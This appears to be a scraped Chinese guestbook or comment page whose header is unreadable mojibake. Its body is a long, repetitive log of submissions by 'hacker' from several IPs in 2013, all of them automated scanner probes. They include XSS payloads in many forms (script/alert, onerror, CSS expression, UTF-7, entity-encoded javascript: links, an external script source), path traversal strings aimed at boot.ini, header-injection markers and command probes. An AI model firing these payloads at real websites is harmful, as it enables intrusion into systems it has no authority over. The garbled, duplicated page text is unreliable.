ãӭ㣡 ¼ ע ҵ鷿
ҳ | | | Ϊҳ | ղ | Ŀ
ҳ ƪԭ ƪԭ ͼ ļ ռ Ϸ ѵ ̳ Ѷ
 
 
80 | СС˵ | Ե֮ϴԩ¼ | Ŷ10 | | Ϧ | | |
 
 
把淡蓝色星星说成一颗糖
hacker2013-6-27 10:31:44218.30.117.7288888scriptalert(42873)/script 
hacker2013-6-27 10:31:44218.30.117.7288888img src1 erroralert(42873) 
hacker2013-6-27 10:31:47218.30.117.7288888div stylewidth:expressi(alert(42873)) 
hacker2013-6-27 10:31:47218.30.117.7288888script srchttp://xxooxxoo.js/script 
hacker2013-6-27 10:31:48218.30.117.7288888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-6-27 10:31:48218.30.117.7288888" mousemovealert(42873) wb" 
hacker2013-6-27 10:31:49218.30.117.7288888 
hacker2013-6-27 10:31:53218.30.117.728888827 
hacker2013-6-27 10:31:54218.30.117.7288888 
hacker2013-6-27 10:31:54218.30.117.7288888 
hacker2013-6-27 10:31:55218.30.117.7288888\ 
hacker2013-6-27 10:31:55218.30.117.7288888 
hacker2013-6-27 10:31:55218.30.117.7288888\" 
hacker2013-6-27 10:31:55218.30.117.7288888JyI 
hacker2013-6-27 10:31:56218.30.117.7288888" 
hacker2013-6-27 10:31:57218.30.117.7288888? 
hacker2013-6-27 10:31:57218.30.117.7288888" 
hacker2013-6-27 10:31:58218.30.117.7288888/ 
hacker2013-6-27 10:31:59218.30.117.72../../../../../../../../boot.ini 
hacker2013-6-27 10:32:00218.30.117.72../../../../../../../../boot.ini 
hacker2013-6-27 10:32:01218.30.117.72boot.ini 
hacker2013-6-27 10:32:01218.30.117.72../../../../../../../../boot.ini 
hacker2013-6-27 10:32:02218.30.117.72/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-6-27 10:32:04218.30.117.72..\..\..\..\..\..\..\..\boot.ini 
hacker2013-6-27 10:32:06218.30.117.72../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-6-27 10:32:07218.30.117.72../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-6-27 10:32:09218.30.117.72../../../../../../../../boot.ini 
hacker2013-6-27 10:32:10218.30.117.72file:///c:/boot.ini 
hacker2013-6-27 10:32:11218.30.117.72http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-6-27 10:32:11218.30.117.72/some_inexistent_file_with_lg_name 
hacker2013-6-27 10:32:11218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-6-27 10:32:12218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-6-27 10:32:13218.30.117.72dir 
hacker2013-6-27 10:32:14218.30.117.72dir 
hacker2013-6-27 10:32:15218.30.117.72http://bbs.webscan.360.cn 
hacker2013-6-27 10:32:16218.30.117.72bbs.webscan.360.cn 
hacker2013-6-27 10:32:16218.30.117.72+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-6-27 10:32:17218.30.117.7288888 
hacker2013-6-27 10:32:23218.30.117.7288888 
hacker272013-6-27 10:32:24218.30.117.7288888 
hacker2013-6-27 10:32:25218.30.117.7288888 
hacker\2013-6-27 10:32:25218.30.117.7288888 
hacker2013-6-27 10:32:26218.30.117.7288888 
hacker\"2013-6-27 10:32:26218.30.117.7288888 
hackerJyI2013-6-27 10:32:26218.30.117.7288888 
hacker"2013-6-27 10:32:26218.30.117.7288888 
hacker?2013-6-27 10:32:26218.30.117.7288888 
hacker"2013-6-27 10:32:27218.30.117.7288888 
hacker/2013-6-27 10:32:27218.30.117.7288888 
/some_inexistent_file_with_lg_name2013-6-27 10:32:32218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs2013-6-27 10:32:32218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs2013-6-27 10:32:33218.30.117.7288888 
dir2013-6-27 10:32:34218.30.117.7288888 
dir2013-6-27 10:32:34218.30.117.7288888 
hacker2013-6-27 10:32:35218.30.117.7288888 
hacker2013-7-7 12:43:13123.125.160.21788888scriptalert(42873)/script 
hacker2013-7-7 12:43:15123.125.160.21788888img src1 erroralert(42873) 
hacker2013-7-7 12:43:16123.125.160.21788888div stylewidth:expressi(alert(42873)) 
hacker2013-7-7 12:43:17123.125.160.21788888script srchttp://xxooxxoo.js/script 
hacker2013-7-7 12:43:18123.125.160.21788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-7-7 12:43:19123.125.160.21788888" mousemovealert(42873) wb" 
hacker2013-7-7 12:43:39123.125.160.21788888 
hacker2013-7-7 12:43:46123.125.160.2178888827 
hacker2013-7-7 12:43:47123.125.160.21788888 
hacker2013-7-7 12:43:48123.125.160.21788888\ 
hacker2013-7-7 12:43:49123.125.160.21788888\" 
hacker2013-7-7 12:43:51123.125.160.21788888 
hacker2013-7-7 12:43:53123.125.160.21788888 
hacker2013-7-7 12:43:54123.125.160.21788888JyI 
hacker2013-7-7 12:43:55123.125.160.21788888" 
hacker2013-7-7 12:43:55123.125.160.21788888? 
hacker2013-7-7 12:43:56123.125.160.21788888" 
hacker2013-7-7 12:43:57123.125.160.21788888/ 
hacker2013-7-7 12:43:58123.125.160.217../../../../../../../../boot.ini 
hacker2013-7-7 12:43:58123.125.160.217../../../../../../../../boot.ini 
hacker2013-7-7 12:43:59123.125.160.217boot.ini 
hacker2013-7-7 12:44:00123.125.160.217../../../../../../../../boot.ini 
hacker2013-7-7 12:44:01123.125.160.217/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-7-7 12:44:01123.125.160.217..\..\..\..\..\..\..\..\boot.ini 
hacker2013-7-7 12:44:02123.125.160.217../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-7-7 12:44:04123.125.160.217../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-7-7 12:44:05123.125.160.217../../../../../../../../boot.ini 
hacker2013-7-7 12:44:05123.125.160.217file:///c:/boot.ini 
hacker2013-7-7 12:44:05123.125.160.217http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-7-7 12:44:06123.125.160.217/some_inexistent_file_with_lg_name 
hacker2013-7-7 12:44:07123.125.160.217 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-7-7 12:44:07123.125.160.217 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-7-7 12:44:08123.125.160.217dir 
hacker2013-7-7 12:44:09123.125.160.217dir 
hacker2013-7-7 12:44:10123.125.160.217http://bbs.webscan.360.cn 
hacker2013-7-7 12:44:10123.125.160.217bbs.webscan.360.cn 
hacker2013-7-7 12:44:11123.125.160.217+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-7-7 12:44:13123.125.160.21788888 
hacker2013-7-7 12:44:17123.125.160.21788888 
hacker272013-7-7 12:44:18123.125.160.21788888 
hacker2013-7-7 12:44:18123.125.160.21788888 
hacker2013-7-7 12:44:18123.125.160.21788888 
hacker\2013-7-7 12:44:19123.125.160.21788888 
hacker\"2013-7-7 12:44:19123.125.160.21788888 
hackerJyI2013-7-7 12:44:21123.125.160.21788888 
hacker"2013-7-7 12:44:21123.125.160.21788888 
hacker?2013-7-7 12:44:23123.125.160.21788888 
hacker"2013-7-7 12:44:23123.125.160.21788888 
hacker/2013-7-7 12:44:25123.125.160.21788888 
/some_inexistent_file_with_lg_name2013-7-7 12:44:35123.125.160.21788888 
SomeCustomInjectedHeader:injected_by_wvs2013-7-7 12:44:35123.125.160.21788888 
SomeCustomInjectedHeader:injected_by_wvs2013-7-7 12:44:36123.125.160.21788888 
dir2013-7-7 12:44:36123.125.160.21788888 
dir2013-7-7 12:44:37123.125.160.21788888 
hacker2013-7-7 12:44:37123.125.160.21788888 
hacker2013-8-29 5:03:19218.30.117.7288888scriptalert(42873)/script 
hacker2013-8-29 5:03:22218.30.117.7288888img src1 erroralert(42873) 
hacker2013-8-29 5:03:25218.30.117.7288888div stylewidth:expressi(alert(42873)) 
hacker2013-8-29 5:03:25218.30.117.7288888script srchttp://xxooxxoo.js/script 
hacker2013-8-29 5:03:26218.30.117.7288888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-8-29 5:03:26218.30.117.7288888" mousemovealert(42873) wb" 
hacker2013-8-29 5:03:27218.30.117.7288888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2013-8-29 5:03:28218.30.117.7288888 
hacker2013-8-29 5:03:28218.30.117.728888827 
hacker2013-8-29 5:03:29218.30.117.7288888 
hacker2013-8-29 5:03:29218.30.117.7288888\ 
hacker2013-8-29 5:03:29218.30.117.7288888\" 
hacker2013-8-29 5:03:30218.30.117.7288888JyI 
hacker2013-8-29 5:03:31218.30.117.7288888" 
hacker2013-8-29 5:03:32218.30.117.7288888? 
hacker2013-8-29 5:03:33218.30.117.7288888" 
hacker2013-8-29 5:03:33218.30.117.7288888/ 
hacker2013-8-29 5:03:34218.30.117.7288888alert(42873) 
hacker2013-8-29 5:03:34218.30.117.72../../../../../../../../boot.ini 
hacker2013-8-29 5:03:34218.30.117.72../../../../../../../../boot.ini 
hacker2013-8-29 5:03:34218.30.117.72boot.ini 
hacker2013-8-29 5:03:35218.30.117.72../../../../../../../../boot.ini 
hacker2013-8-29 5:03:37218.30.117.72/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-8-29 5:03:37218.30.117.72..\..\..\..\..\..\..\..\boot.ini 
hacker2013-8-29 5:03:38218.30.117.72../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-8-29 5:03:39218.30.117.72../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-8-29 5:03:40218.30.117.72../../../../../../../../boot.ini 
hacker2013-8-29 5:03:41218.30.117.72file:///c:/boot.ini 
hacker2013-8-29 5:03:41218.30.117.72http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-8-29 5:03:42218.30.117.72/some_inexistent_file_with_lg_name 
hacker2013-8-29 5:03:42218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-8-29 5:03:43218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-8-29 5:03:43218.30.117.72dir 
hacker2013-8-29 5:03:44218.30.117.72dir 
hacker2013-8-29 5:03:44218.30.117.72http://bbs.webscan.360.cn 
hacker2013-8-29 5:03:45218.30.117.72bbs.webscan.360.cn 
hacker2013-8-29 5:03:46218.30.117.72+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-8-29 5:03:51218.30.117.7288888 
hacker2013-8-29 5:03:52218.30.117.7288888 
hackerscriptalert(42873)/script2013-8-29 5:04:16218.30.117.7288888 
hacker2013-8-29 5:04:18218.30.117.7288888 
hacker272013-8-29 5:04:19218.30.117.7288888 
hacker2013-8-29 5:04:19218.30.117.7288888 
hacker\2013-8-29 5:04:19218.30.117.7288888 
hacker\"2013-8-29 5:04:20218.30.117.7288888 
hackerJyI2013-8-29 5:04:20218.30.117.7288888 
hacker"2013-8-29 5:04:21218.30.117.7288888 
hacker?2013-8-29 5:04:21218.30.117.7288888 
hacker"2013-8-29 5:04:21218.30.117.7288888 
hacker/2013-8-29 5:04:22218.30.117.7288888 
hackeralert(42873)2013-8-29 5:04:23218.30.117.7288888 
/some_inexistent_file_with_lg_name2013-8-29 5:04:27218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs2013-8-29 5:04:29218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs2013-8-29 5:04:29218.30.117.7288888 
dir2013-8-29 5:04:30218.30.117.7288888 
dir2013-8-29 5:04:30218.30.117.7288888 
hacker2013-8-29 5:04:34218.30.117.7288888 
hacker2013-8-29 5:04:41218.30.117.7288888 
hacker2013-9-20 14:01:04218.30.117.7288888scriptalert(42873)/script 
hacker2013-9-20 14:01:07218.30.117.7288888img src1 erroralert(42873) 
hacker2013-9-20 14:01:07218.30.117.7288888div stylewidth:expressi(alert(42873)) 
hacker2013-9-20 14:01:08218.30.117.7288888script srchttp://xxooxxoo.js/script 
hacker2013-9-20 14:01:12218.30.117.7288888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-9-20 14:01:13218.30.117.7288888" mousemovealert(42873) wb" 
hacker2013-9-20 14:01:13218.30.117.7288888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2013-9-20 14:01:14218.30.117.7288888 
hacker2013-9-20 14:01:15218.30.117.728888827 
hacker2013-9-20 14:01:16218.30.117.7288888 
hacker2013-9-20 14:01:16218.30.117.7288888\ 
hacker2013-9-20 14:01:18218.30.117.7288888\" 
hacker2013-9-20 14:01:19218.30.117.7288888JyI 
hacker2013-9-20 14:01:19218.30.117.7288888" 
hacker2013-9-20 14:01:20218.30.117.7288888? 
hacker2013-9-20 14:01:21218.30.117.7288888" 
hacker2013-9-20 14:01:21218.30.117.7288888/ 
hacker2013-9-20 14:01:36218.30.117.7288888alert(42873) 
hacker2013-9-20 14:01:39218.30.117.72../../../../../../../../boot.ini 
hacker2013-9-20 14:01:40218.30.117.72../../../../../../../../boot.ini 
hacker2013-9-20 14:01:41218.30.117.72boot.ini 
hacker2013-9-20 14:01:41218.30.117.72../../../../../../../../boot.ini 
hacker2013-9-20 14:01:42218.30.117.72/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-9-20 14:01:42218.30.117.72..\..\..\..\..\..\..\..\boot.ini 
hacker2013-9-20 14:01:43218.30.117.72../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-9-20 14:01:43218.30.117.72../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-9-20 14:01:44218.30.117.72../../../../../../../../boot.ini 
hacker2013-9-20 14:01:45218.30.117.72file:///c:/boot.ini 
hacker2013-9-20 14:01:47218.30.117.72http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-9-20 14:01:48218.30.117.72/some_inexistent_file_with_lg_name 
hacker2013-9-20 14:01:49218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-9-20 14:01:50218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-9-20 14:01:53218.30.117.72dir 
hacker2013-9-20 14:01:56218.30.117.72dir 
hacker2013-9-20 14:01:57218.30.117.72http://bbs.webscan.360.cn 
hacker2013-9-20 14:01:58218.30.117.72bbs.webscan.360.cn 
hacker2013-9-20 14:01:59218.30.117.72+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-9-20 14:02:02218.30.117.7288888 
hacker2013-9-20 14:02:06218.30.117.7288888 
hacker2013-9-20 14:02:08218.30.117.7288888 
hacker272013-9-20 14:02:11218.30.117.7288888 
hacker2013-9-20 14:02:13218.30.117.7288888 
hacker2013-9-20 14:02:15218.30.117.7288888 
hacker\2013-9-20 14:02:16218.30.117.7288888 
hacker\"2013-9-20 14:02:18218.30.117.7288888 
hackerJyI2013-9-20 14:02:20218.30.117.7288888 
hacker"2013-9-20 14:02:20218.30.117.7288888 
hacker?2013-9-20 14:02:21218.30.117.7288888 
hacker"2013-9-20 14:02:22218.30.117.7288888 
hacker/2013-9-20 14:02:23218.30.117.7288888 
hackeralert(42873)2013-9-20 14:02:23218.30.117.7288888 
/some_inexistent_file_with_lg_name2013-9-20 14:02:35218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs2013-9-20 14:02:36218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs2013-9-20 14:02:37218.30.117.7288888 
dir2013-9-20 14:02:38218.30.117.7288888 
dir2013-9-20 14:02:39218.30.117.7288888 
hacker2013-9-20 14:02:49218.30.117.7288888 
hacker2013-9-20 14:02:49218.30.117.7288888 
hacker2013-9-30 3:16:01123.125.160.21688888scriptalert(42873)/script 
hacker2013-9-30 3:16:04123.125.160.21688888img src1 erroralert(42873) 
hacker2013-9-30 3:16:05123.125.160.21688888div stylewidth:expressi(alert(42873)) 
hacker2013-9-30 3:16:06123.125.160.21688888script srchttp://xxooxxoo.js/script 
hacker2013-9-30 3:16:07123.125.160.21688888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-9-30 3:16:07123.125.160.21688888" mousemovealert(42873) wb" 
hacker2013-9-30 3:16:08123.125.160.21688888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2013-9-30 3:16:09123.125.160.21688888 
hacker2013-9-30 3:16:11123.125.160.2168888827 
hacker2013-9-30 3:16:12123.125.160.21688888 
hacker2013-9-30 3:16:14123.125.160.21688888\ 
hacker2013-9-30 3:16:15123.125.160.21688888\" 
hacker2013-9-30 3:16:16123.125.160.21688888JyI 
hacker2013-9-30 3:16:16123.125.160.21688888" 
hacker2013-9-30 3:16:16123.125.160.21688888? 
hacker2013-9-30 3:16:16123.125.160.21688888" 
hacker2013-9-30 3:16:17123.125.160.21688888/ 
hacker2013-9-30 3:16:17123.125.160.21688888alert(42873) 
hacker2013-9-30 3:16:17123.125.160.216../../../../../../../../boot.ini 
hacker2013-9-30 3:16:17123.125.160.216../../../../../../../../boot.ini 
hacker2013-9-30 3:16:18123.125.160.216boot.ini 
hacker2013-9-30 3:16:18123.125.160.216../../../../../../../../boot.ini 
hacker2013-9-30 3:16:18123.125.160.216/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-9-30 3:16:18123.125.160.216..\..\..\..\..\..\..\..\boot.ini 
hacker2013-9-30 3:16:19123.125.160.216../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-9-30 3:16:19123.125.160.21688888 
hacker2013-9-30 3:16:19123.125.160.216../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-9-30 3:16:19123.125.160.216../../../../../../../../boot.ini 
hacker2013-9-30 3:16:19123.125.160.21688888 
hacker2013-9-30 3:16:20123.125.160.216file:///c:/boot.ini 
hacker2013-9-30 3:16:20123.125.160.216http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-9-30 3:16:20123.125.160.216/some_inexistent_file_with_lg_name 
hacker2013-9-30 3:16:21123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-9-30 3:16:21123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-9-30 3:16:21123.125.160.216dir 
hacker2013-9-30 3:16:21123.125.160.216dir 
hacker2013-9-30 3:16:22123.125.160.216http://bbs.webscan.360.cn 
hacker2013-9-30 3:16:22123.125.160.216bbs.webscan.360.cn 
hacker2013-9-30 3:16:22123.125.160.216+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-9-30 3:16:23123.125.160.21688888 
hacker2013-9-30 3:16:24123.125.160.21688888 
hacker272013-9-30 3:16:25123.125.160.21688888 
hacker2013-9-30 3:16:25123.125.160.21688888 
hacker\2013-9-30 3:16:25123.125.160.21688888 
hacker\"2013-9-30 3:16:26123.125.160.21688888 
hackerJyI2013-9-30 3:16:26123.125.160.21688888 
hacker"2013-9-30 3:16:26123.125.160.21688888 
hacker?2013-9-30 3:16:27123.125.160.21688888 
hacker"2013-9-30 3:16:27123.125.160.21688888 
hacker/2013-9-30 3:16:27123.125.160.21688888 
hackeralert(42873)2013-9-30 3:16:27123.125.160.21688888 
hacker2013-9-30 3:16:30123.125.160.21688888 
/some_inexistent_file_with_lg_name2013-9-30 3:16:31123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs2013-9-30 3:16:31123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs2013-9-30 3:16:31123.125.160.21688888 
dir2013-9-30 3:16:32123.125.160.21688888 
dir2013-9-30 3:16:32123.125.160.21688888 
hacker2013-9-30 3:16:35123.125.160.21688888 
hacker2013-11-3 20:57:42123.125.160.21688888scriptalert(42873)/script 
hacker2013-11-3 20:57:45123.125.160.21688888img src1 erroralert(42873) 
hacker2013-11-3 20:57:47123.125.160.21688888div stylewidth:expressi(alert(42873)) 
hacker2013-11-3 20:57:48123.125.160.21688888script srchttp://xxooxxoo.js/script 
hacker2013-11-3 20:57:49123.125.160.21688888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-11-3 20:57:52123.125.160.21688888" mousemovealert(42873) wb" 
hacker2013-11-3 20:57:54123.125.160.21688888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2013-11-3 20:57:57123.125.160.21688888 
hacker2013-11-3 20:57:59123.125.160.2168888827 
hacker2013-11-3 20:58:00123.125.160.21688888 
hacker2013-11-3 20:58:01123.125.160.21688888\ 
hacker2013-11-3 20:58:02123.125.160.21688888\" 
hacker2013-11-3 20:58:04123.125.160.21688888JyI 
hacker2013-11-3 20:58:05123.125.160.21688888" 
hacker2013-11-3 20:58:07123.125.160.21688888? 
hacker2013-11-3 20:58:08123.125.160.21688888" 
hacker2013-11-3 20:58:09123.125.160.21688888/ 
hacker2013-11-3 20:58:11123.125.160.21688888alert(42873) 
hacker2013-11-3 20:58:12123.125.160.216../../../../../../../../boot.ini 
hacker2013-11-3 20:58:13123.125.160.216../../../../../../../../boot.ini 
hacker2013-11-3 20:58:14123.125.160.216boot.ini 
hacker2013-11-3 20:58:17123.125.160.216../../../../../../../../boot.ini 
hacker2013-11-3 20:58:19123.125.160.216/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-11-3 20:58:21123.125.160.216..\..\..\..\..\..\..\..\boot.ini 
hacker2013-11-3 20:58:22123.125.160.216../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-11-3 20:58:23123.125.160.216../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-11-3 20:58:24123.125.160.216../../../../../../../../boot.ini 
hacker2013-11-3 20:58:26123.125.160.216file:///c:/boot.ini 
hacker2013-11-3 20:58:28123.125.160.216http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-11-3 20:58:30123.125.160.216/some_inexistent_file_with_lg_name 
hacker2013-11-3 20:58:32123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-11-3 20:58:34123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-11-3 20:58:35123.125.160.216dir 
hacker2013-11-3 20:58:38123.125.160.216dir 
hacker2013-11-3 20:58:39123.125.160.216http://bbs.webscan.360.cn 
hacker2013-11-3 20:58:42123.125.160.216bbs.webscan.360.cn 
hacker2013-11-3 20:58:42123.125.160.21688888 
hacker2013-11-3 20:58:43123.125.160.216+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-11-3 20:58:45123.125.160.21688888 
hacker2013-11-3 20:58:45123.125.160.21688888 
hacker2013-11-3 20:58:53123.125.160.21688888 
hacker272013-11-3 20:58:55123.125.160.21688888 
hacker2013-11-3 20:58:56123.125.160.21688888 
hacker\2013-11-3 20:58:58123.125.160.21688888 
hacker\"2013-11-3 20:58:58123.125.160.21688888 
hackerJyI2013-11-3 20:58:59123.125.160.21688888 
hacker"2013-11-3 20:59:00123.125.160.21688888 
hacker?2013-11-3 20:59:01123.125.160.21688888 
hacker"2013-11-3 20:59:03123.125.160.21688888 
hacker/2013-11-3 20:59:04123.125.160.21688888 
hackeralert(42873)2013-11-3 20:59:05123.125.160.21688888 
/some_inexistent_file_with_lg_name2013-11-3 20:59:16123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs2013-11-3 20:59:17123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs2013-11-3 20:59:21123.125.160.21688888 
dir2013-11-3 20:59:24123.125.160.21688888 
dir2013-11-3 20:59:28123.125.160.21688888 
hacker2013-11-3 20:59:41123.125.160.21688888 
hacker2013-11-3 20:59:41123.125.160.21688888 
hacker2013-11-6 22:09:15182.118.33.788888scriptalert(42873)/script 
hacker2013-11-6 22:09:19182.118.33.788888img src1 erroralert(42873) 
hacker2013-11-6 22:09:20182.118.33.788888div stylewidth:expressi(alert(42873)) 
hacker2013-11-6 22:09:20182.118.33.788888script srchttp://xxooxxoo.js/script 
hacker2013-11-6 22:09:23182.118.33.788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-11-6 22:09:25182.118.33.788888" mousemovealert(42873) wb" 
hacker2013-11-6 22:09:26182.118.33.788888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2013-11-6 22:09:27182.118.33.788888 
hacker2013-11-6 22:09:27182.118.33.78888827 
hacker2013-11-6 22:09:28182.118.33.788888 
hacker2013-11-6 22:09:29182.118.33.788888\ 
hacker2013-11-6 22:09:31182.118.33.788888\" 
hacker2013-11-6 22:09:33182.118.33.788888JyI 
hacker2013-11-6 22:09:34182.118.33.788888" 
hacker2013-11-6 22:09:36182.118.33.788888 
hacker2013-11-6 22:09:36182.118.33.788888? 
hacker2013-11-6 22:09:37182.118.33.788888" 
hacker2013-11-6 22:09:38182.118.33.788888/ 
hacker2013-11-6 22:09:38182.118.33.788888 
hacker2013-11-6 22:09:39182.118.33.788888alert(42873) 
hacker2013-11-6 22:09:39182.118.33.7../../../../../../../../boot.ini 
hacker2013-11-6 22:09:42182.118.33.7../../../../../../../../boot.ini 
hacker2013-11-6 22:09:46182.118.33.7boot.ini 
hacker2013-11-6 22:09:47182.118.33.7../../../../../../../../boot.ini 
hacker2013-11-6 22:09:48182.118.33.7/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-11-6 22:09:54182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
hacker2013-11-6 22:09:54182.118.33.7../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-11-6 22:09:55182.118.33.7../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-11-6 22:09:56182.118.33.7../../../../../../../../boot.ini 
hacker2013-11-6 22:09:59182.118.33.7file:///c:/boot.ini 
hacker2013-11-6 22:10:01182.118.33.7http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-11-6 22:10:02182.118.33.7/some_inexistent_file_with_lg_name 
hacker2013-11-6 22:10:02182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-11-6 22:10:03182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-11-6 22:10:05182.118.33.7dir 
hacker2013-11-6 22:10:07182.118.33.7dir 
hacker2013-11-6 22:10:08182.118.33.7http://bbs.webscan.360.cn 
hacker2013-11-6 22:10:09182.118.33.7bbs.webscan.360.cn 
hacker2013-11-6 22:10:12182.118.33.7+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-11-6 22:10:12182.118.33.788888 
hacker2013-11-6 22:10:16182.118.33.788888 
hacker272013-11-6 22:10:17182.118.33.788888 
hacker2013-11-6 22:10:17182.118.33.788888 
hacker\2013-11-6 22:10:18182.118.33.788888 
hacker\"2013-11-6 22:10:18182.118.33.788888 
hackerJyI2013-11-6 22:10:19182.118.33.788888 
hacker"2013-11-6 22:10:21182.118.33.788888 
hacker?2013-11-6 22:10:24182.118.33.788888 
hacker"2013-11-6 22:10:24182.118.33.788888 
hacker/2013-11-6 22:10:25182.118.33.788888 
hacker2013-11-6 22:10:25182.118.33.788888 
hackeralert(42873)2013-11-6 22:10:25182.118.33.788888 
/some_inexistent_file_with_lg_name2013-11-6 22:10:32182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs2013-11-6 22:10:35182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs2013-11-6 22:10:35182.118.33.788888 
dir2013-11-6 22:10:35182.118.33.788888 
dir2013-11-6 22:10:36182.118.33.788888 
hacker2013-11-6 22:10:39182.118.33.788888 
hacker2013-12-19 16:07:00182.118.33.788888scriptalert(42873)/script 
hacker2013-12-19 16:07:01182.118.33.788888img src1 erroralert(42873) 
hacker2013-12-19 16:07:02182.118.33.788888div stylewidth:expressi(alert(42873)) 
hacker2013-12-19 16:07:03182.118.33.788888script srchttp://xxooxxoo.js/script 
hacker2013-12-19 16:07:03182.118.33.788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2013-12-19 16:07:03182.118.33.788888" mousemovealert(42873) wb" 
hacker2013-12-19 16:07:04182.118.33.788888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2013-12-19 16:07:04182.118.33.788888 
hacker2013-12-19 16:07:12182.118.33.78888827 
hacker2013-12-19 16:07:12182.118.33.788888 
hacker2013-12-19 16:07:14182.118.33.788888\ 
hacker2013-12-19 16:07:15182.118.33.788888\" 
hacker2013-12-19 16:07:17182.118.33.788888JyI 
hacker2013-12-19 16:07:18182.118.33.788888" 
hacker2013-12-19 16:07:19182.118.33.788888? 
hacker2013-12-19 16:07:20182.118.33.788888" 
hacker2013-12-19 16:07:20182.118.33.788888/ 
hacker2013-12-19 16:07:22182.118.33.788888alert(42873) 
hacker2013-12-19 16:07:22182.118.33.7../../../../../../../../boot.ini 
hacker2013-12-19 16:07:23182.118.33.7../../../../../../../../boot.ini 
hacker2013-12-19 16:07:24182.118.33.788888 
hacker2013-12-19 16:07:24182.118.33.7boot.ini 
